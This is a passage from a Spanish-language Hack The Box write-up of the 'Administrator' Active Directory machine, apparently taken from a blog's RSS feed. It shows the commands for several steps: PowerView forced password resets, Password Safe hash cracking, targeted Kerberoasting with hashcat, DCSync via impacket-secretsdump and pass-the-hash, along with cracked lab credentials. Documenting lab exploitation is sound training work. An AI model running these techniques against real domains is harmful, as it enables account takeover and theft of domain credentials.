&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MachineAccountQuota&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;... .//20260117114901_administrator-htb_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; created!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el grafo vemos que &lt;strong&gt;Olivia&lt;/strong&gt; tiene &lt;strong&gt;GenericAll&lt;/strong&gt; sobre el usuario &lt;strong&gt;Michael&lt;/strong&gt;. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The GenericAll permission grants &lt;a href="mailto:OLIVIA@ADMINISTRATOR.HTB"&gt;OLIVIA@ADMINISTRATOR.HTB&lt;/a&gt; the ability to change the password of the user &lt;a href="mailto:MICHAEL@ADMINISTRATOR.HTB"&gt;MICHAEL@ADMINISTRATOR.HTB&lt;/a&gt; without knowing their current password.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-9e38-d04952ca8100.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-1-olivia--michael-forcechangepassword"&gt;Pivot 1: Olivia → Michael (ForceChangePassword)&lt;/h3&gt;
&lt;p&gt;Subimos &lt;a href="http://powerview.ps/"&gt;&lt;strong&gt;PowerView.ps&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;1&lt;/strong&gt; (por ejemplo, con &lt;code&gt;upload&lt;/code&gt; desde &lt;code&gt;evil-winrm&lt;/code&gt;) y cambiamos la contraseña de Michael usando las credenciales de Olivia.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$SecPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Cred = New-Object
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;System.Management
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.Automation.PSCredential(&lt;span style="color:#e6db74"&gt;&amp;#39;ADMINISTRATOR\\olivia&amp;#39;&lt;/span&gt;, $SecPassword)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$UserPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto ya tenemos acceso como &lt;strong&gt;michael&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8026-9052-d9e91c5fbe0b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-2-michael--benjamin"&gt;Pivot 2: Michael → Benjamin&lt;/h3&gt;
&lt;p&gt;Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de &lt;strong&gt;Benjamin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80da-8e46-f17321b7b796.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="ftp-recuperamos-un-backup-de-credenciales"&gt;FTP: recuperamos un backup de credenciales&lt;/h3&gt;
&lt;p&gt;Con Benjamin vemos algo nuevo: &lt;strong&gt;acceso a FTP&lt;/strong&gt;, donde encontramos un archivo de backup.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/1e271056-461f-40c4-98c2-f689545cfb96.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;13AM &lt;span style="color:#ae81ff"&gt;952&lt;/span&gt; Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El archivo es una base de datos de &lt;strong&gt;Password Safe V3&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Backup.psafe3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Password Safe V3 database
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extraemos el hash y lo crackeamos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c4-9c5d-dd2207911152.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8094-8c58-cf4b7817fe09.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Abrimos el gestor y obtenemos 3 credenciales:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8009-8081-deeb60a335b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80d0-9294-c5225410b0c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="camino-a-domain-admin"&gt;Camino a Domain Admin&lt;/h3&gt;
&lt;p&gt;En BloodHound, mirando el &lt;strong&gt;Shortest Path to Domain Admin&lt;/strong&gt;, vemos una ruta clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Emily&lt;/strong&gt; tiene &lt;strong&gt;GenericWrite&lt;/strong&gt; sobre &lt;strong&gt;Ethan&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Si comprometemos Ethan, podemos hacer &lt;strong&gt;DCSync&lt;/strong&gt; para dumpear los hashes del dominio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-90d0-db836a402fb8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="intento-shadow-credentials-no-soportado"&gt;Intento: Shadow Credentials (no soportado)&lt;/h3&gt;
&lt;p&gt;Probamos &lt;strong&gt;Shadow Credentials&lt;/strong&gt;, pero el KDC no soporta autenticación con certificados y falla con:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;minikerberos.protocol.errors.KerberosError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Error Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KDC_ERR_PADATA_TYPE_NOSUPP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="alternativa-kerberoasting-dirigido"&gt;Alternativa: Kerberoasting dirigido&lt;/h3&gt;
&lt;p&gt;Sin Shadow Credentials, seguimos por &lt;strong&gt;Kerberoasting&lt;/strong&gt;. Primero sincronizamos la hora para evitar problemas con Kerberos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ntpdate -u &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &amp;amp;&amp;amp; python
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;administrator.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;emily&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeamos el hash y obtenemos la password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;13100&lt;/span&gt; ethan.hash /usr/share/wordlists/seclists/rockyou.txt --&amp;gt; limpbizkit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="dcsync-y-escalada-final"&gt;DCSync y escalada final&lt;/h3&gt;
&lt;p&gt;Con Ethan hacemos &lt;strong&gt;DCSync&lt;/strong&gt; para obtener los hashes del dominio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c5-b3ba-ce95d17f8374.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente hacemos &lt;strong&gt;PtH&lt;/strong&gt; con el hash de Administrator y quedamos &lt;em&gt;pwned&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8061-a235-d4642ed67b2b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>